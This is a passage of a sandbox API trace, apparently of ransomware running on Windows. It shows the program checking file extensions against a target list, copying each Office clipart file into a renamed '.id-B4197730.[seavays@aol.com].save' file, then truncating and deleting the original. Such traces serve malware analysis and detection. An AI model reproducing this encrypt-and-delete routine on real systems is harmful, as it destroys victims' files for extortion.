lpOverlapped=0x0) returned 1 [0177.799] SetEndOfFile (hFile=0x378) returned 1 [0178.134] CloseHandle (hObject=0x378) returned 1 [0178.134] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0178.134] SetEndOfFile (hFile=0x520) returned 1 [0178.139] CloseHandle (hObject=0x520) returned 1 [0178.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0178.139] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg")) returned 1 [0178.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0178.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0178.141] lstrlenW (lpString=".doc") returned 4 [0178.141] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.141] lstrlenW (lpString=".docx") returned 5 [0178.141] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0178.141] lstrlenW (lpString=".pdf") returned 4 [0178.141] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.141] lstrlenW (lpString=".xls") returned 4 [0178.141] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.141] lstrlenW (lpString=".xlsx") returned 5 [0178.141] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0178.141] lstrlenW (lpString=".ppt") returned 4 [0178.141] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0178.141] lstrlenW (lpString=".zip") returned 4 [0178.141] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.141] lstrlenW (lpString=".rar") returned 4 [0178.141] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.141] lstrlenW (lpString=".bz2") returned 4 [0178.141] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.141] lstrlenW (lpString=".7z") returned 3 [0178.141] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0178.141] lstrlenW (lpString=".dbf") returned 4 [0178.141] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0178.141] lstrlenW (lpString=".1cd") returned 4 [0178.141] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0178.142] lstrlenW (lpString=".jpg") returned 4 [0178.142] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0178.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0178.142] lstrlenW (lpString=".doc") returned 4 [0178.142] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.142] lstrlenW (lpString=".docx") returned 5 [0178.142] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0178.142] lstrlenW (lpString=".pdf") returned 4 [0178.142] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.142] lstrlenW (lpString=".xls") returned 4 [0178.142] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.142] lstrlenW (lpString=".xlsx") returned 5 [0178.142] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0178.142] lstrlenW (lpString=".ppt") returned 4 [0178.142] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0178.142] lstrlenW (lpString=".zip") returned 4 [0178.142] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.142] lstrlenW (lpString=".rar") returned 4 [0178.143] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.143] lstrlenW (lpString=".bz2") returned 4 [0178.143] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.143] lstrlenW (lpString=".7z") returned 3 [0178.143] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0178.143] lstrlenW (lpString=".dbf") returned 4 [0178.143] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0178.143] lstrlenW (lpString=".1cd") returned 4 [0178.143] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0178.143] lstrlenW (lpString=".jpg") returned 4 [0178.143] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.143] lstrcmpiW (lpString1=".JPG", lpString2=".save") returned -1 [0178.143] lstrlenW (lpString="J0148757.JPG") returned 12 [0178.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0178.146] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=67540) returned 1 [0178.146] CloseHandle (hObject=0x520) returned 1 [0178.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg")) returned 0x220 [0178.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0178.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0178.147] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0178.147] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0178.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0178.149] GetLastError () returned 0x0 [0178.149] ReadFile (in: hFile=0x520, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x107d4, lpOverlapped=0x0) returned 1 [0178.166] WriteFile (in: hFile=0x378, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x107e0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x107e0, lpOverlapped=0x0) returned 1 [0178.169] ReadFile (in: hFile=0x520, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0178.169] WriteFile (in: hFile=0x378, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0178.169] SetEndOfFile (hFile=0x378) returned 1 [0178.169] CloseHandle (hObject=0x378) returned 1 [0178.169] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0178.169] SetEndOfFile (hFile=0x520) returned 1 [0178.175] CloseHandle (hObject=0x520) returned 1 [0178.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0178.176] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg")) returned 1 [0178.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0178.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0178.178] lstrlenW (lpString=".doc") returned 4 [0178.178] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.178] lstrlenW (lpString=".docx") returned 5 [0178.178] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0178.178] lstrlenW (lpString=".pdf") returned 4 [0178.178] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.178] lstrlenW (lpString=".xls") returned 4 [0178.178] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.178] lstrlenW (lpString=".xlsx") returned 5 [0178.178] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0178.178] lstrlenW (lpString=".ppt") returned 4 [0178.178] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0178.178] lstrlenW (lpString=".zip") returned 4 [0178.178] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.178] lstrlenW (lpString=".rar") returned 4 [0178.178] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.178] lstrlenW (lpString=".bz2") returned 4 [0178.178] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.178] lstrlenW (lpString=".7z") returned 3 [0178.178] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0178.179] lstrlenW (lpString=".dbf") returned 4 [0178.179] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0178.179] lstrlenW (lpString=".1cd") returned 4 [0178.179] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0178.179] lstrlenW (lpString=".jpg") returned 4 [0178.179] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0178.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0178.179] lstrlenW (lpString=".doc") returned 4 [0178.179] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.179] lstrlenW (lpString=".docx") returned 5 [0178.179] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0178.179] lstrlenW (lpString=".pdf") returned 4 [0178.179] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.179] lstrlenW (lpString=".xls") returned 4 [0178.179] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.179] lstrlenW (lpString=".xlsx") returned 5 [0178.179] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0178.179] lstrlenW (lpString=".ppt") returned 4 [0178.179] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0178.179] lstrlenW (lpString=".zip") returned 4 [0178.179] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.179] lstrlenW (lpString=".rar") returned 4 [0178.180] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.180] lstrlenW (lpString=".bz2") returned 4 [0178.180] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.180] lstrlenW (lpString=".7z") returned 3 [0178.180] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0178.180] lstrlenW (lpString=".dbf") returned 4 [0178.180] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0178.180] lstrlenW (lpString=".1cd") returned 4 [0178.180] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0178.180] lstrlenW (lpString=".jpg") returned 4 [0178.180] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.180] lstrcmpiW (lpString1=".JPG", lpString2=".save") returned -1 [0178.180] lstrlenW (lpString="J0148798.JPG") returned 12 [0178.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0178.557] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=38237) returned 1 [0178.567] CloseHandle (hObject=0x520) returned 1 [0178.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg")) returned 0x220 [0178.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0178.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0178.880] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0178.880] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0178.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0178.882] GetLastError () returned 0x0 [0178.882] ReadFile (in: hFile=0x54c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x955d, lpOverlapped=0x0) returned 1 [0178.886] WriteFile (in: hFile=0x550, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x9560, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x9560, lpOverlapped=0x0) returned 1 [0178.889] ReadFile (in: hFile=0x54c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0178.889] WriteFile (in: hFile=0x550, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0178.889] SetEndOfFile (hFile=0x550) returned 1 [0178.889] CloseHandle (hObject=0x550) returned 1 [0178.890] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0178.890] SetEndOfFile (hFile=0x54c) returned 1 [0179.807] CloseHandle (hObject=0x54c) returned 1 [0179.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0179.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg")) returned 1 [0179.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0179.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0179.812] lstrlenW (lpString=".doc") returned 4 [0179.812] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0179.812] lstrlenW (lpString=".docx") returned 5 [0179.812] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0179.812] lstrlenW (lpString=".pdf") returned 4 [0179.812] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0179.812] lstrlenW (lpString=".xls") returned 4 [0179.812] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0179.812] lstrlenW (lpString=".xlsx") returned 5 [0179.812] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0179.812] lstrlenW (lpString=".ppt") returned 4 [0179.812] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0179.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0179.812] lstrlenW (lpString=".zip") returned 4 [0179.812] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0179.812] lstrlenW (lpString=".rar") returned 4 [0179.813] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0179.813] lstrlenW (lpString=".bz2") returned 4 [0179.813] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0179.813] lstrlenW (lpString=".7z") returned 3 [0179.813] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0179.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0179.813] lstrlenW (lpString=".dbf") returned 4 [0179.813] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0179.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0179.814] lstrlenW (lpString=".1cd") returned 4 [0179.814] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0179.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0179.814] lstrlenW (lpString=".jpg") returned 4 [0179.814] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0179.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0179.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0179.814] lstrlenW (lpString=".doc") returned 4 [0179.814] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0179.814] lstrlenW (lpString=".docx") returned 5 [0179.814] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0179.814] lstrlenW (lpString=".pdf") returned 4 [0179.814] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0179.814] lstrlenW (lpString=".xls") returned 4 [0179.814] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0179.814] lstrlenW (lpString=".xlsx") returned 5 [0179.814] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0179.814] lstrlenW (lpString=".ppt") returned 4 [0179.814] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0179.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0179.815] lstrlenW (lpString=".zip") returned 4 [0179.815] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0179.815] lstrlenW (lpString=".rar") returned 4 [0179.815] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0179.815] lstrlenW (lpString=".bz2") returned 4 [0179.815] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0179.815] lstrlenW (lpString=".7z") returned 3 [0179.815] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0179.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0179.815] lstrlenW (lpString=".dbf") returned 4 [0179.815] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0179.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0179.815] lstrlenW (lpString=".1cd") returned 4 [0179.815] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0179.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0179.816] lstrlenW (lpString=".jpg") returned 4 [0179.816] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0179.816] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0179.816] lstrlenW (lpString="J0151045.WMF") returned 12 [0179.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0179.818] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=15464) returned 1 [0179.818] CloseHandle (hObject=0x54c) returned 1 [0179.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf")) returned 0x220 [0179.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0179.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0179.819] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.819] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0179.821] GetLastError () returned 0x0 [0179.821] ReadFile (in: hFile=0x54c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x3c68, lpOverlapped=0x0) returned 1 [0179.825] WriteFile (in: hFile=0x2a8, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x3c70, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x3c70, lpOverlapped=0x0) returned 1 [0179.827] ReadFile (in: hFile=0x54c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0179.827] WriteFile (in: hFile=0x2a8, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0179.827] SetEndOfFile (hFile=0x2a8) returned 1 [0179.827] CloseHandle (hObject=0x2a8) returned 1 [0179.827] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.827] SetEndOfFile (hFile=0x54c) returned 1 [0179.832] CloseHandle (hObject=0x54c) returned 1 [0179.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0179.833] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft 